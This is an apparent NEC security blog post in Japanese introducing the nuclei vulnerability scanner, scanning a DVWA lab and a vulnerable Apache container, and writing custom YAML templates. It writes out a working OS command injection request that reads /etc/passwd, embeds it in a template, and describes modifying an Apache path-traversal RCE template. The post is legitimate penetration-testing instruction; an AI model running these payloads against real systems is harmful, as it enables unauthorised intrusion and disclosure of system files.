Japan

関連リンク

関連リンク

関連リンク

関連リンク

サイト内の現在位置

ペネトレーションツールの紹介 ~nuclei~

NECセキュリティブログ

2021年10月29日

NECサイバーセキュリティ戦略本部セキュリティ技術センターの長浜です。今回は、脆弱性診断やペネトレーションテストの再現手順の共有に便利な「nuclei」について紹介いたします。

nucleiとは

nuclei new window[1] は、シナリオファイルに基づいてターゲットをスキャンするツールです。本ツールは、ProjectDiscovery社がオープンソースで公開しているソフトウェアです。ライセンスはMIT licenseです。
本ツールのシナリオは最新の脆弱性も網羅されています。例えば、2021年10月に公開されたApache HTTP Serverの脆弱性の検出シナリオもすでに追加されています。

特徴は、以下の3点です。

  • 様々なファイル形式に出力可能
    → markdownやjsonへの出力に対応
  • PoCが公開されている最新の脆弱性に対応
    → 2021年10月18日時点でCVE-2021-41773 new window[2], CVE-2021-42013 new window[3] に対応済み
  • テンプレートのカスタマイズが容易に可能
    → ペネトレーションテストの実施時に指摘事項の再現手順の共有に便利

インストール方法

nucleiは5つの方法でインストール可能です。今回は、Githubからソースコードをダウンロードし、手元の環境にて実行バイナリを作成する方法でインストールを実施したいと思います。

それ以外の方法については、公式ページ new window[4] をご参考ください。

インストールは以下のように実施しました。

$ git clone https://github.com/projectdiscovery/nuclei.git
$ cd nuclei/v2/cmd/nuclei
$ go build
$ sudo mv nuclei /usr/local/bin/
$ nuclei -verion

            __   _
   ____ __ _______/ /__ (_)
  / __ ¥/ / / / ___/ / _ ¥/ /
 / / / / /_/ / /__/ / __/ /
/_/ /_/¥__,_/¥___/_/¥___/_/  2.5.2

          projectdiscovery.io

[WRN] Use with caution. You are responsible for your actions.
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[INF] Current Version: 2.5.2

version情報から2.5.2がインストールされたことが確認できます。

検証環境

nucleiを実際に動かすために、以下の検証環境を用意しました。

スキャン対象ホスト

  • OSイメージ:DVWA v1.0.7 new window[5]

スキャン元ホスト

  • OSイメージ:Kali linux 2020.2
  • go言語 1.15.15
  • Docker 20.10.5

基本的な使い方(DVWAを対象にスキャンを実施)

以下のようなコマンドでスキャンを実行することができます。

$ nuclei -u(-targetでも可) http://192.168.xx.xx
$ nuclei -u(-targetでも可) 192.168.xx.xx

ターゲットを指定する際にhttp://の有無によってスキャン内容が異なります。

http://なし

network系の脆弱性スキャンのみが実施されていることが確認できました。

http://あり

network系だけではなく、httpに関する脆弱性スキャンも実施されていることが確認できました。

登録されているテンプレートをもとに、脆弱性を検出していることが確認できます。検出した脆弱性の影響度に応じて文字に色がついて出力されます(criticalは赤色、mediumは橙色、lowは黄緑色、infoは青色)
これは、テンプレートの検出ルールごとに詳細が表示されます。カスタムテンプレートでも同様な実装ができるため、1つの設定ファイルで複数の検出ファイルを作ることが可能になります。

markdownファイルへの出力

markdownへの出力は以下のように実行します。指定先のディレクトリ配下に検出事項ごとにmarkdownファイルを出力することができます。

$ # 以下のようにコマンドを入力することで、markdownに出力ができます。
$ #nuclei -u http://192.168.185.134 -me(-markdown-exportでも可) (任意フォルダ名)
$ nuclei -u http://192.168.185.134 -me dvwa_vuln
$ ls -1 dvwa_vuln/
apache-detect-http___192.168.185.134.md
'CVE-2012-1823-http___192.168.185.134_index.php?
-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a__input.md'
CVE-2018-15473-192.168.185.134_22.md
CVE-2020-1938-192.168.185.134_8009.md
http-missing-security-headers-http___192.168.185.134.md
phpinfo-files-http___192.168.185.134_phpinfo.php.md
phpmyadmin-panel-http___192.168.185.134_phpMyAdmin_.md
shell-history-http___192.168.185.134_.bash_history.md
smb-v1-detection-192.168.185.134_445.md smtp-service-detection-192.168.185.134_25.md
tech-detect-http___192.168.185.134.md
vnc-service-detection-192.168.185.134_5900.md
vsftpd-detection-192.168.185.134_21.md

上記コマンドを実行すると、markdownファイルが出力されていることが確認できます。
出力されたmarkdownファイルには、以下のように、検出事項のテンプレートに登録されている説明文に加え、スキャンの際に実行したリクエストとレスポンスの結果が記載されています。

ここでは、markdownファイルとして出力しましたが、json形式にも対応しています。
そのため、検出結果をそのままプログラムの入力として利用することもできます。

Apache環境へのスキャンの実施

脆弱なApache環境を作成しnucleiでスキャンを実施したいと思います。

脆弱性概要

対象の脆弱性(CVE-2021-41773,CVE-2021-42013)は、ルートディレクトリのアクセス設定がRequire all grantedに設定されている場合、ディレクトリトラバーサルが可能な脆弱性として公開されています。new window[2] new window[3] new window[6]
また、mod_cgiの設定が有効となっているとリモートコード実行が可能な脆弱性としても公開されています。

  • 用意した環境の詳細は記述いたしませんが、httpd:2.4.49のコンテナイメージに対して脆弱な設定ファイルを用いてサーバを起動しています。

脆弱性に対するスキャンの実施

1. ディレクトリトラバーサル可能な環境に対してスキャンを実施

ここでは、対象の脆弱性に対するスキャンファイルのみを指定してスキャンを実施したいと思います。そのような際には、-tオプションを用いることでシナリオを指定することが可能になります。
-tオプションは、yamlファイルとディレクトリを指定することが可能です。ディレクトリを指定することで、指定したディレクトリ配下のyamlファイルをすべて対象としてスキャンを実施します。

対象である2つの脆弱性を検出できました。
CVEの番号の横にLFIが検出したと記載されているため、脆弱性の影響も把握しやすいと思います。

2. RCE可能な環境に対してスキャンを実施

次にRCE可能な脆弱性に対しても検査を実施します。
スキャン用のテンプレートファイル内にもRCE向けのシナリオが用意されていますので先ほどと同じコマンドで実行できます。

しかし、そのままでは検出できませんでした。
実行ログが確認できるように-vオプションを追加したところ、CVE-2021-41773については、赤線部分を確認するとRCE向けのシナリオではディレクトリの深さが1つ浅いようです。%2e%2e/を追加してみれば実行できそうなので、シナリオを書き換えます。

シナリオファイルは、デフォルト設定では~/nuclei-templates配下に格納されています。~/nuclei-templatesフォルダ配下のCVE-2021-41773.yamlを修正し、再度実行しました。

結果、脆弱性が検出されていることが確認できます。今回は、LFIではなくRCEとして検出されていることがわかります。

一方、CVE-2021-42013のシナリオに関してはうまく動作しないため、シナリオファイルがあっても実行できないケースがあるということは注意が必要そうです。

3. 脆弱性を修正後の環境に対してスキャンを実施

正しい設定がされている場合、本脆弱性は検出されないためRequire all grantedRequire all deniedと設定した環境を用意しました。

脆弱性が検出されないことから、修正されていることが確認できます。

スキャンに関してまとめ

すでに用意されているシナリオファイルを用いてスキャンを実施しました。一部使えないシナリオはありましたが、網羅的に脆弱性スキャンを実施するうえでは有用なツールであるかと思います。

Custom Templateの作成

ここまで、すでに用意されているシナリオファイルを用いてのスキャン方法を紹介しました。ここからはオリジナルのシナリオ作成方法について紹介いたします。

Directory Scanシナリオの作成

nucleiではディレクトリスキャンに関してのテストシナリオがないため、本ツールで実施するためには、自身でyamlファイルの作成が必要となります。ここでは、ディレクトリスキャンを実施するシナリオファイルを以下の手順で作成しました。

# 辞書ファイルのコピー
$ cd ~/nuclei-templates
$ cp /usr/share/wordlists/dirb/common.txt helpers/wordlists/common.txt
# ディレクトリスキャン用の設定ファイルの作成
$ mkdir scan
$ vi scan/directory_scan.yaml
$ cat scan/directory_scan.yaml
id: directory_scan

# スキャンの情報を記載できます。ここに、説明文を記載することでmarkdown出力時に説明文として出力されます。
info:
 author: nagahama
 name: Web Directory Scan
 severity: info # 脆弱性の影響度を指定します。
 tags: http

# リクエストの内容を以下で記載します。
requests:
 - method: GET
  path:
   - "{{BaseURL}}/{{path}}"
   #変数化したい部分を{{}}で囲って記載します。この際、nucleiがシステムとしてもともと登録されている変数もあるので注意が必要です。
  redirects: true

  # 辞書ファイルを指定する際には、上記で定義した変数に対応する形でファイルを指定します。
  payloads:
   path: helpers/wordlists/common.txt

  # 対象の脆弱性が存在すると判断するための基準を記載します。
  matchers:
   - type: status
    part: header
    status:
     - 200

上記のように、nuclei Templateに公開されていないスキャンを実施するためには自身でシナリオを作成できることを確認しました。

作成したシナリオを用いてスキャンを実施します。

ディレクトリスキャンスキャンが実施できることが確認できました。
ディレクトリスキャンでは、HTTPメソッドとURLの指定のみでスキャンを実施しましたが、HTTPのRAWパケットを利用してスキャンシナリオを作成することも可能です。本機能により、脆弱性診断やペネトレーションテストの際に、検出した脆弱性をシナリオファイルとして作成することで、ほかのURLへの水平展開での検査が容易になります。

より高度なスキャンシナリオの作成

DVWAに対して脆弱性診断を実施し、そこで検出したOSコマンドインジェクションが実行できる脆弱性の再現手順を、前項で述べたRAWパケットを利用したカスタムシナリオにて作成したいと思います。

1. DVWAにログイン後「Command Execultion」にアクセス

2. 「1.1.1.1;cat /etc/passwd」と入力

pingの結果以外にもシステムの情報が出力されることを確認できました。

3. Burpにてリクエスト内容の確認

POSTパラメータのipにてOSコマンドインジェクションの脆弱性があることが確認できます。

POST /dvwa/vulnerabilities/exec/ HTTP/1.1
Host: 192.168.185.134
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.185.134/dvwa/vulnerabilities/exec/
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close
Cookie: security=low; PHPSESSID=8573f5008765f1515895be8f899fc99a
Upgrade-Insecure-Requests: 1

ip=1.1.1.1%3Bcat+%2Fetc%2Fpasswd&submit=submit

4. nuclei向けの設定ファイルの作成

Burpで確認したHTTPリクエストをそのまま利用しつつシナリオファイルを作成します。次のように書くことでHTTPリクエストをそのまま利用できます。

requests:
 - raw:
  - |+
   POST /dvwa/vulnerabilities/exec/ HTTP/1.1
   Host: {{Hostname}}
   User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: en-US,en;q=0.5
   Accept-Encoding: gzip, deflate
   Referer: {{Hostname}}/dvwa/vulnerabilities/exec/
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 46
   Connection: close
   Cookie: security=low; PHPSESSID=8573f5008765f1515895be8f899fc99a
   Upgrade-Insecure-Requests: 1

   ip=1.1.1.1%3Bcat+%2Fetc%2Fpasswd&submit=submit

しかし、このままではCookieが変わった際に、設定ファイルを実行する都度書き換える必要があります。そのため、{{Cookies}}に置き換えます。このようにすることで、nucleiを実行時に-Vオプションを利用することで実行時に変数代入が可能となります。
入力例は次のようになります。

nuclei -u 192.168.xx.xx -V Cookies="利用したいCookieの値"

また、レスポンスの期待される値も分かっているので、正規表現で対象のレスポンスがあった際にはRCEが成功したと表示ように設定します。
/etc/passwdが表示された場合にRCEの脆弱性が存在すると判断します。

matchers:
  - type: regex
   name: RCE
   regex:
    - "root:.*:0:0"

最終的に作成したcommand_execution_low.yamlは次のようになります。

id: command_execution_low

info:
 name: custom
 author: nagahama
 severity: info

requests:
 - raw:
  - |+
   POST /dvwa/vulnerabilities/exec/ HTTP/1.1
   Host: 192.168.185.134
   User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: en-US,en;q=0.5
   Accept-Encoding: gzip, deflate
   Referer: http://192.168.185.134/dvwa/vulnerabilities/exec/
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 46
   Connection: close
   Cookie: {{Cookies}}
   Upgrade-Insecure-Requests: 1

   ip=1.1.1.1%3Bcat+%2Fetc%2Fpasswd&submit=submit

  matchers:
  - type: regex
   name: RCE
   regex:
    - "root:.*:0:0"

また、同様にしてCookiesがmediumの場合で通過するスキャン用の設定ファイルを作成します。作成したファイルは、dvwaフォルダにそれぞれ格納し、まとめてスキャンできるようにします。

5. 実行

Cookiesの値をlow、medium、highと変化させつつ脆弱性の確認をしていきます。

まずはlowから動作確認します。

2つとも脆弱性が検出されていることが確認できました。

続いてmediumの動作確認をします。

1つの脆弱性は修正されていることが確認できました。もう一方は修正できていないことが確認できました。

最後にhighの動作確認をします。

ともに脆弱性が修正されていることが確認できました。

所感

  • 最新の脆弱性のテンプレートがサポートされており、脆弱性スキャンツールとして使いやすいです。
  • カスタムテンプレートも容易に作成できるため、例えば自組織で使用するオリジナルのシナリオが作成しやすいです。
  • ペネトレーションテストなどで再現手順の共有がyamlファイルとコマンドだけで実施できる点がとても優れていると感じました。
  • ディレクトリスキャンやURLを自動で深堀することはできないようです。そのため、例えばFFUF [7] などでディレクトリスキャンスキャンを別途実施し、その結果からURLリストを作成するとよさそうです。
  • LFIの脆弱性を確認するための辞書ファイルが準備されているので、本ツールをインストールするだけですぐ検査に利用できるのは非常に便利です。
  • 辞書ファイルについては、Linux系のディレクトリ構成は多く、Windows系のディレクトリ構成が少ないため、Windows系は自身で調査し登録する必要がありそうです。
  • LFIのRCE可能なexploitを自動で実行する機能は、網羅的な検査という観点で非常に有用と感じました。

最後に

本ツールを利用することでテンプレートに登録されている脆弱性については、網羅的に確認することができます。
セキュリティ検査だけではなく、開発したソフトウェアの検査にも有用なツールですので、様々な業務の役に立つのではないかと思います。

以上、nucleiの紹介でした。

参考資料

執筆者プロフィール

長浜 佑介(ながはま ゆうすけ)
セキュリティ技術センター リスクハンティングチーム

主にペネトレーションテスト、脆弱性診断などを担当しNECグループのセキュア開発・運用を推進。
2020年6月にIPA 産業サイバーセキュリティセンター中核人材育成プログラムを修了。
情報処理安全確保支援士(RISS)を保持。

執筆者の他の記事を読む

Escキーで閉じる 閉じる